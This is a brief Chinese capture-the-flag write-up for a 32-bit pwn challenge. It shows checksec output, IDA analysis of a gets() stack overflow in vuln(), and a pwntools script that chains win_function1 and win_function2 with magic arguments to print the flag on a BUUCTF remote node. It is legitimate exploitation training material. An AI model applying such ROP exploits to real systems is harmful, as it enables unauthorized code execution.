1checksec
只开启了NX保护
2.ida
发现vuln()函数,点进去查看
gets()函数存在栈溢出漏洞,可构造ROP链
shift+f12查看字符串,发现flag.text
双击小箭头
按tab进行反汇编得到下图
观察程序,发现s中含有flag.text的前48位,含有完整的flag
而只要满足条件win1=1,win2=1,a1=0xDEADBAAD即可输出flag
而win_function1()函数可将win1赋值为1
查看win_function2()可知只要win1为1且a1为0xBAAAAAAD就可使win2为1
exp
from pwn import*
p=remote('node4.buuoj.cn',27619)
payload=b'a'*0x1c+p32(0x80485CB)+p32(0x80485D8)+p32(0x804862B)+p32(0xBAAAAAAD)+p32(0xDEADBAAD)
p.sendline(payload)
p.interactive()